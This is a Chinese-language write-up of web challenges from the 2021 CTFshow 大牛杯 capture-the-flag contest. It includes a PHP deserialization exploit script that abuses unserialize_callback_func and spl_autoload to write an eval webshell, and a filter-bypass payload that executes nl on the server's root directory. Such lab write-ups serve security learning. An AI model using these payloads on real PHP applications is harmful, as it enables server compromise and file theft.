2021_CTFSHOW_大牛杯_WP

五一看了下 ctfshow 的大牛杯,web 题质量挺高的,有的题当时不会,现在复现一下吧。

easy_unserialize

题目源码已经给出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-04-22 17:44:48
# @Last Modified by: h1xa
# @Last Modified time: 2021-04-26 11:30:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
class main{
public $settings;
public $params;

public function __construct(){
$this->settings=array(
'display_errors'=>'On',
'allow_url_fopen'=>'On'
);
$this->params=array();
}
public function __wakeup(){
foreach ($this->settings as $key => $value) {
ini_set($key, $value);
}
}

public function __destruct(){
file_put_contents('settings.inc', unserialize($this->params));
}
}

unserialize($_GET['data']);

php manual 里面有一个很有趣的变量配置,如果在反序列化的时候需要实例化一个未定义的类,可以设置回调函数以供调用,最关键的是这个配置是 PHP_IN_ALL 的,所以我们可以直接通过 ini_set 来设置

可以通过 spl_autoload 来自动加载未定义的类 settings,会默认加载当前目录下,以settings类名为文件名,php 或者 inc 为后缀的文件,这样就和 settings.inc 联系到了一起

故我们可以先利用 array 反序列化去写一个🐎到 settings.inc 中,然后加载它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class settings {

}

class main {
public $settings;
public $params;

public function __construct() {
$this->settings=array(
'unserialize_callback_func'=>'spl_autoload'
);
$this->params=serialize(new settings()); /* 设置未定义类 settings */
$this->params=serialize(array("<?php file_put_contents('Du1.php', '<?php eval(\$_POST[Du1]);phpinfo();');")); /* 写🐎 */
}
}

echo urlencode(serialize(new main()));

非预期

好家伙,这题还有非预期,利用 error_log、unserialize_callback_func 和 html_error 写🐎,改天复现一下吧。

web_checkin

这题当时师傅们都没看,运气好拿了个一血。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
include "config.php";
//flag in /

function check_letter($code){
$letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890");
for ($i = 0; $i < count($letter_blacklist); $i+=2){
if (preg_match("/".$letter_blacklist[$i]."/i", $code)){
die("xi nei~");
}
}
}

function check_character($code){
$character_blacklist = array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>');
for ($i = 1; $i < count($character_blacklist); $i+=2){
if (preg_match("/".$character_blacklist[$i]."/", $code)){
die("tongtong xi nei~");
}
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if (!file_exists($dir)) {
mkdir($dir);
}
if (isset($_GET["code"])) {
$code = substr($_GET["code"], 0, 12);
check_letter($code);
check_character($code);

file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
echo $dir;
}else{
highlight_file(__FILE__);
}

虽然看起来过滤了很多,但是还是留了很多可用字符:

1
2
bdfhjlnprtvxz24680
= % ) * ^ $ ` ! ] } ' ; / ? < >

一开始还以为是四字命令执行。。。结果发现 nl 就完事了:

1
?code=?><?=`nl%09/*`

听师傅说 nl 可以换成 pr,但是没测试成功(疑惑

RealWorld_CyberShow

像是要爆破,但是不知道 enpwd 和 key 是怎么得出来的,等一波详细wp

easy CMS

出是出了,但是感觉味道不太对,所以打算自己去审一审极致的源码再回来补坑 - -